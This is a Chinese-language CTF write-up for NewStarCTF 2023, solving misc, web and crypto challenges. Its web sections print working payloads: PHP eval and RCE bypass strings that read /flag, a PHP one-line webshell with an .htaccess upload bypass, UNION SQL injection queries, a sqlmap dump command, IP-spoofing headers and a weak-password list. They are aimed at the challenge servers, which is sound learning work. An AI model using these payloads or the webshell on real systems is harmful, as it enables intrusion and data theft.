NewStarCTF2023WP

image-20231105222053978

WEEK1|MISC

CyberChef’s Secret

Sign in!!!

来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

image-20230929004606638

wok这个有点厉害,才发现可以自动解密

flag{Base_15_S0_Easy_^_^}

机密图片

小宝最近学会了隐写术,并且在图片中藏了一些秘密,你能发现他的秘密吗?

image-20230929005006880

flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

流量!鲨鱼!

就决定是你了!WireShark!

image-20230930090656968

image-20230930091059199

image-20230930091121362

flag{Wri35h4rk_1s_u53ful_b72a609537e6}

压缩包们

常见的压缩包又能玩出什么花样呢?

考点:Zip文件头修复、Zip压缩包爆破

winhex查看

image-20230929111424947

我喜欢六位数,因为它们非常简洁,容易记住。

然后修改文件头

image-20231002093016595

50 4B 03 04

但是后面想爆破还是提示有问题

image-20231002113756452

感觉arch还是有点问题啊

算了用ziperello吧

image-20231002131930965

flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

空白格

“我们之间留了太多空白格”

image-20230930092240759

https://www.w3cschool.cn/tryrun/runcode?lang=whitespace

image-20230930092459359

flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}

隐秘的眼睛

有一双隐秘的眼睛在盯着你…

SilentEye隐写

image-20231002135132148

flag{R0ck1ng_y0u_63b0dc13a591}

WEEK1|WEB

泄漏的秘密

粗心的网站管理员总会泄漏一些敏感信息在Web根目录下

无非就最简单的三种

1.robots.txt

2.www.zip

3.index.php.swp

/robots.txt

image-20231001230638430

/www.zip

image-20231001230722573

1
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

普通的上传啦,平平淡淡才是真

本题主要考察PHP文件上传漏洞的前端校验绕过

image-20230929163713052

image-20230929164242211

确实简单

image-20230929165320010

flag{692a9515-cf3e-4b16-8497-671eaa5a7344}

Begin of HTTP

image-20230929185859066

image-20230929185800378

1
GET /?ctf=1 HTTP/1.1

image-20230929190041066

1
secret=n3wst4rCTF2023g00000d

image-20230929190324295

1
Cookie: power=ctfer

image-20230929190413998

1
User-Agent: NewStarCTF2023

image-20230929190437801

1
Referer: newstarctf.com

image-20230929190611311

1
X-Real-IP: 127.0.0.1

我很难受,这个卡了我一天

不是xff也不是client-ip

image-20230930160708985

flag{9e43d217-8411-4269-8867-c433d2790ee3}

在做CTF题目时,遇到需要伪造IP来找到Flag,这里记录一下。
虽有多种方法可用,但实际使用中基本X-Forwarded-For就足够。

如果遇到需要更换多次IP后才能得出Flag的情况,可在Burpsuite中使用burpFakeIP插件完成伪造IP爆破。

X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

ErrorFlask

Err……..

考点:Flask报错界面信息泄露

image-20231001230936113

1
/?number1=1&&number2=1

image-20231001231147510

或者直接传数组?

image-20231001231346288

Begin of PHP

PHP是世界上最安全的语言,真的吗?

考点:PHP弱类型、PHP加密函数数组绕过、PHP函数特性、变量覆盖漏洞

题目分为五个关卡。

第一关主要考察PHP中md5弱类型比较的特点,只需要找到两个值不同但md5值以0e开头的字符串即可通过本关,原理是0e在进行弱类型比较时会被当作科学计数法进行比较。

image-20231001231752744

构造Payload如下:

1
key1=QNKCDZO&key2=240610708

level 1的方法一:
首先要通过Level 1 ,发现它是PHP的弱类型比较,只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

level 1的方法二:
就算它是强类型比较(即===)时,此时两个md5后的值采用严格比较,没有规定字符串,如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过。数组为空,那么MD5加密之后都为0,那么就是相等的,满足条件,可以成功绕过。

1
2
3
payload:

/?key1[]=1&key2[]=2

第二关主要考察PHP哈希函数的特性,在处理数组类型的传参时,md5、sha1等哈希函数会返回NULL值,由此可以构造出NULL===NULL从而通过判断。

image-20231001231836873

构造Payload如下:

1
2
3
key1=QNKCDZO&key2=240610708

POST-DATA: key3[]=1

第三关主要考察strcmp函数特性,如果传入的参数为数组类型,该函数就会返回NULL值,构造NULL==0从而通过判断

image-20231001231858792

构造Payload如下:

1
2
3
key1=QNKCDZO&key2=240610708&key4[]=2

POST-DATA: key3[]=1

第四关主要考察is_numeric函数特性,在传入的数字后加入任意字母即可通过本层的判断。

image-20231001231915142

构造Payload如下:

1
2
3
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a

POST-DATA: key3[]=1

第五关考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。

image-20231001231925711

构造Payload如下:

1
2
3
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a

POST-DATA: key3[]=1&flag5=?

R!C!E!

R!C!E!

考点:md5碰撞、PHP特殊符号传参、PHP命令执行、黑名单绕过

image-20231001232203076

首先题目要求 POST 传入一个 password ,password 的 hash 前六位为 c4d038,而哈希加密是一种不可破解的算法,我们只能通过碰撞来尝试获取我们需要的 password。

可以写一个简单的 python 脚本来进行碰撞,先尝试简单的数字组合,看是否有符合条件的值

1
2
3
4
5
6
7
8
import hashlibdef crack(pre):    

for i in range(0, 999999):
if (hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break

crack("c4d038")

运行结果是114514,得到了密码

再看下一个传参,可以发现这个变量名有下划线也有点。

1
$code=$_POST['e_v.a.l'];

这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l

于是为了防止我们的点被自动转换,我们可以先让第一个下划线位置为不合法字符,从而转换为下划线,不会再转换后面的点。比如可以传入 e[v.a.l

最后看命令执行部分,这里是有一个黑名单的过滤:

1
2
3
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}

可以看到是禁止了 system 函数,可以采用 php 自带的函数来达到一样的效果,先使用 scandir 看一下目录,注意 scandir 是不会回显输出的,记得加上 var_dump。

1
e[v.a.l=var_dump(scandir('/'));

看到了 flag 在根目录下。但是黑名单过滤了 flag 关键字,我们没法直接读取,于是可以使用参数逃逸绕过限制:

1
POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag

得到flag。

或者

1
password=114514&e[v.a.l=echo `tac /f*`;

EasyLogin

简简单单、随心所欲

弱口令登录、HTTP 302 跳转抓包

进入之后是一个登录界面,先随便注册一个账号登进去看看。

Ctrl``CCtrl``D回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。

image-20231001233009891

提示:题目采用的弱密码表

123456789password

newstar

newstar2023

123qwe

qwe123

qwertyuiop

asdfghjkl

zxcvbnm

admin123

admin888

111111

000000

image-20231001233312341

爆破出来密码是000000

然后有个302跳转

image-20231001233555814

但是转念一想,普通用户能不能行呢,抓包试试

6

image-20231001234107876

WEEK1|CRYPTO

http://www.hiencode.com/

brainfuck

Bra1n p0w3r5

image-20230929010003314

flag{Oiiaioooooiai#b7c0b1866fe58e12}

Caesar’s Secert

古老的加密

kqfl{hf3x4w’x_h1umjw_n5_a4wd_3fed}

flag{}

凯撒加密原理:把明文中每个英文字母替换为该字母在字母表中后面第k个字母,如果后面第k个字符超过字母表范围,则把字母表首尾相接,也就是字母Z的下一个字母是A,字母z的下一个字母是a。要求明文中的大写字母和小写字母分别进行处理,大写字母加密后仍为大写字母,小写字母加密后仍为小写字母

凯撒密码其实就是移位,在这里其实就是往后移了五位

解密的话就是n=5

Dn(x)=(x−n) mod 26

image-20230929010159684

flag{ca3s4r's_c1pher_i5_v4ry_3azy}

Fence

栅栏密码

栅栏密码原理:就是把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。 不过栅栏密码本身有一个潜规则,就是组成栅栏的字母一般不会太多。(一般不超过30个,也就是一、两句话)

想到flag是flag开头的,我们就在密文前面找f和l

发现这是2栏栅栏密码

第一组fa{ereigtepanet6680}

第二组lgrodrn_h_litx#8fc3

只需从第一个组读一个元素,第二个元素读一个元素,循环往复即可得到明文

image-20230929010245632

flag{reordering_the_plaintext#686f8c03}

Vigenère

le chiffre indéchiffrable

image-20230929010327743

密文pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

明文肯定是flag{}

所以我们现在猜密钥

密钥长度需要与明文长度相同,如果少于明文长度,则重复拼接直到长度相等

明文第一个字母F密钥第一个字母的相交点就是密文P,所以我们可以推测出密钥为KFC

image-20230929095156145

flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

image-20230929100601790

babyrsa

很容易分解的n

babyencoding

1
2
3
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part1和part2看内容为base64、base32;part3为UUencode编码

UUencode是一种二进制到文字的编码。最早在unix 邮件系统中使用,全称:Unix-to-Unix encoding

image-20230929101945671

image-20230929102243771

image-20230929102542248

flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

WEEK2|MISC

新建Word文档

你喜欢用Word文档吗?

Word_1.zip

image-20231009182905116

.doc的文件头是D0 CF 11 E0
.docx 文件头是50 4B 03 04

无论Word文档是哪种后缀,都可以把后缀改为.zip,然后解压,就可以看到文档的组织格式以及各个配置文件,在这些文件里面可能有隐写信息

在document.xml发现

image-20231009183659293

image-20231009183919784

新佛曰

佛曰

永不消逝的电波

或许有节奏的声音中传递着一些信息;flag请按照flag{}的格式进行提交,涉及字母均为小写

secret.wav

image-20231009185910054

image-20231009185903948

image-20231009190544400

..-./.-../.-/–./-/…././-…/./…/-/-.-./-/..-././.-./../…/-.–/—/..-

FLAGTHEBESTCTFERISYOU

flag{thebestctferisyou}

1-序章

你作为一名出色的网络安全专家,正在调查一起网络入侵事件。你获得了一份SQL盲注请求的日志文件,里面记录了攻击者的活动。你的任务是分析这些日志,找出攻击者成功获取到的数据。

这题应该用脚本的。。

奈何本人太菜,只能一个一个弄

121,111,117,95,119,52,110,116,95,115,51,99,114,101,102,116,101,108,97,103,123,106,117,115,116,95,119,52,114,109,95,117,112,95,115,48,95,121,111,117,95,110,51,101,100,95,104,52,114,100,101,114,95,54,48,50,54,99,100,51,50,125,44

image-20231010221807642

flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

官方:

题目给出了Web请求日志,经过分析可以看出是SQL盲注的日志信息,Payload为:

-1 or if(ascii(substr((select group_concat(username,password) from user),位数,1))=字符ASCII码,sleep(1),1)–+

当注入到某一位的正确字符后会结束这一位的爆破,进行下一位的注入,例如

172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] “GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)–+&totalPrice=0 HTTP/1.1” 500 353 “-“ “python-requests/2.28.2”

172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] “GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)–+&totalPrice=0 HTTP/1.1” 500 353 “-“ “python-requests/2.28.2”

如上的日志信息就说明第7位字符的ASCII码为110,根据这个原理可以编写脚本来提取日志中的注入结果,也有很多现成的脚本稍微修改一下就可以使用,可以参考这篇文章的分析:https://www.cnblogs.com/0yst3r-2046/p/12322110.html

稍微修改一下脚本,需要以Python2运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding:utf-8
import reimport urllib

f = open('access.log','r')
lines = f.readlines()
datas = []
for line in lines:
t = urllib.unquote(line)
datas.append(t)

flag_ascii = {}
for data in datas:
matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep', data)
if matchObj:
key = int(matchObj.group(1))
value = int(matchObj.group(2))
flag_ascii[key] = value
flag = ''
for value in flag_ascii.values():
flag += chr(value)
print flag

base!

base! 贝斯!贝斯也有自己的秘密

base.txt

image-20231009190720407

很经典的一道题型Base64信息隐藏

1
2
3
4
5
6
7
8
9
一段:d2lsbCBkYW5jZSxhbmQgbGVhcCxhbmQgZHJhaW4gdGhlIGJvd2x=

base解码后
will dance,and leap,and drain the bowl

再进行base64编码
d2lsbCBkYW5jZSxhbmQgbGVhcCxhbmQgZHJhaW4gdGhlIGJvd2w=

“=”前面字符不一样,说明原字符串存在Base64信息隐藏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys

def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s1)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open(sys.argv[1], 'rb') as f:
file_lines = f.readlines()
bin_str=''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print bin_str
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i+8], 2))
print res_str

if __name__=='__main__':
solve_stego()

image-20231009191554588

image-20231009191342135

Jvav

给阿姨来一杯卡布奇诺,多看看题目名哦,秘密就隐藏在图片中

jvav_1.zip

我靠,我看wp才知道是盲水印

考点:JAVA盲水印

根据题目提示,参考题目名Jvav,可以检阅到Java盲水印的知识。

可以利用这个项目来提取Java盲水印内容:https://github.com/ww23/BlindWaterMark

image-20231016090850065

image-20231016090920156

WebShell的利用

不会

  • 考点:PHP代码解密

  • FLAG:动态FLAG

  • 解题步骤

其实这道题偏向于Web题目,代码加密也很简单,在分析时可以将eval修改为echo,调试几次之后发现其实解密方式是固定的,只是进行了嵌套多次加密,由此可以编写PHP脚本对WebShell脚本进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){
if(preg_match("/base64/",$shell)){
$tmp = preg_replace("/eval/","return ",$shell);
$shell = eval($tmp);
}
else{
break;
}
}
echo $shell;

最终得到WebShell:

1
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

这里就是一个简单的函数的动态调用,GET传入函数名,POST传入函数参数

image-20231016093312735

WEEK2|WEB

游戏高手

image-20231009220844449

直接重放包

①改为POST方法

②Content-Type改为application/json

③{“score”:10000000000}

image-20231009223109191

或者控制台直接

image-20231016010839576

include 0。0

包含也有危害?

image-20231010223216753

image-20231011092922479

一开始试了php://filter/convert.quoted-printable-encode/resource=flag.php不行

flag{babdba76-18cf-4fd4-990d-460964d8d8fc}

ez_sql

inject me plz.

考点:union注入、大小写绕过

给id传 TMP0919’# ,可以查出结果,说明存在注入。#要编码成%23。

查询的信息可以回显,说明是union注入,然后要判断字段数。

image-20231016011351927

1
?id=TMP0919' Order by 1#

从1一直递增,递增到6时,页面不回显,说明字段数是5.

1
?id=1' uNion Select 1,2,3,4,5#

查询表名

1
?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23

查询字段名

1
?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23

查询Flag值:

1
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23

或者直接

1
sqlmap -u "http://09ea211b-20c8-477f-a1c1-152828f58661.node4.buuoj.cn:81/?id=TMP5239" -D "ctf" -T here_is_flag -C "flag" --dump

image-20231009223938073

1
flag{bf63539d-68a8-4d3f-897c-259851273367}

Unserialize?

什么是PHP反序列化?

考点:PHP反序列化漏洞基础、RCE Bypass

进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE

image-20231009224713322

RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。

需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:

image-20231016011000980

注意要把命令中的加号替换为%20或者空格

image-20231016011021906

Upload again!

继续上传!

image-20231011000035437

我靠,还检测我内容的,经测试发现是过滤了<

可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。

1
2
3
AddType application/x-httpd-php .jpg

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"

把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php @eval($_POST["a"]);?>加密变成PD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOz8+

image-20231010235817701

image-20231010235811687

或者直接用这个绕过

image-20231016011136964

image-20231010235833594

image-20231011000129698

flag{f07e6590-482c-4ce2-9047-5c3da13f8941}

R!!C!!E!!

R!!C!!E!!M!!E!!

image-20231016105542360

首先看到提示有信息泄露,可以使用dirb扫,扫出了 /.git ,使用GitHack工具获取源码。

image-20231016105651646

扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:

image-20231016110046288

image-20231016110058458

第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。

第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。

payload(使用 bp 发送的请求):

1
2
3
4
5
6
7
8
9
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); 
HTTP/1.1Host: faf83665-1a88-473a-b765-ddd33c6cf370.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarder-Proto: system('cat /f*');
Upgrade-Insecure-Requests: 1

WEEK3|MISC

阳光开朗大男孩

我是阳光开朗大男孩~阳光开朗大男孩~

secret.txt

1
法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由

flag.txt

1
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒

image-20231016110642333

this_password_is_s000_h4rd_p4sssw0rdddd

怀疑是txtemoji

但试了好像不是

最后发现是这个emoji aes加密

https://aghorler.github.io/emoji-aes/#decrypt

https://ruotian.io/2020/02/emoji-aes/

image-20231021131819570

flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}

大怨种

只要你是大怨种,点击即送Flag

image-20231016112855725

这个是汉信码

https://tuzim.net/hxdecode/

image-20231022092930177

flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

滴滴滴

密码就在滴滴滴滴滴滴滴滴滴滴滴滴滴滴哒中哦

听wav是拨号声音

直接上传到网站

http://dialabc.com/sound/detect/index.html

image-20231023141553258

得到拨号音的内容为:

52563319066

结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:

image-20231023141827880

flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

WEEK4|MISC

R通大残

R通大残,打了99,补!

image-20231023212615899

红色通道

image-20231023212505120

flag{a96d2cc1-6edd-47fb-8e84-bd953205c9f5}

Nmap

统计->会话

请给出Nmap扫描得到所有的开放端口用英文逗号分隔,端口号从小到大排列。 例如flag{21,22,80,8080}

image-20231023145859818

flag{80,3306,5000,7000,8021,9000}

依旧是空白

我们之间还有太多空白格,但是这次的空白格不太一样

这个好像不太行

https://www.w3cschool.cn/tryrun/runcode?lang=whitespace

image-20231023152435583

那我先考虑一个空白的图片吧

移到kali显示不了

先爆破宽高

image-20231023153838781

image-20231023153850998

s00_b4by_f0r_y0u

这个password有什么用呢?

网上搜一下空白格

https://blog.csdn.net/qq_51999772/article/details/122418926

https://darkside.com.au/snow/index.html

1
SNOW.EXE -p s00_b4by_f0r_y0u -C White.txt >a

或者linux的stegsnow

flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}

WEEK5|MISC

隐秘的图片

签到题

直接stegsolve

两张图片进行xor

image-20231030085021320

flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53}

官方writeup

《NewStarCTF 2023 Week1 官方WriteUp》
https://shimo.im/docs/XKq421EBKzFyRzAN/

《NewStarCTF 2023 Week2 官方WriteUp》
https://shimo.im/docs/Dy5ekHJhKo0ap5v3/

《NewStarCTF 2023 Week3 官方WriteUp》
https://shimo.im/docs/QPMRxzGktzsZnzhz

《NewStarCTF 2023 Week4 官方WriteUp》
https://shimo.im/docs/gXqmdVvbOEsXpo3o/

《NewStarCTF 2023 Week5 官方WriteUp》
https://shimo.im/docs/R3sGgZdrlyE6nL8T/